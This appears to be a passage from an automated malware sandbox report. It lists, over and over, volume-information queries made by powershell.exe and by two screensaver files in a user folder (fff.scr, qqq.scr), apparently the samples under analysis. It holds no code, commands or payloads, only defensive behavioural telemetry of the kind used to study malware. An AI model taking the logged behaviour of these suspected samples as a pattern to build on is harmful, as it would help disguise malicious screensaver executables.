                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Users\gbcd\fff.scrQueries volume information: C:\Users\gbcd\fff.scr VolumeInformationJump to behavior
                    Source: C:\Users\gbcd\fff.scrQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                    Source: C:\Users\gbcd\fff.scrQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                    Source: C:\Users\gbcd\qqq.scrQueries volume information: C:\Users\gbcd\qqq.scr VolumeInformationJump to behavior
                    Source: C:\Users\gbcd\qqq.scrQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                    Source: C:\Users\gbcd\qqq.scrQueries volume information: C:\ VolumeInformationJump to behavior
                    Source: C:\Users\gbcd\qqq.scrQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                    Source: C:\Users\gbcd\qqq.scrQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
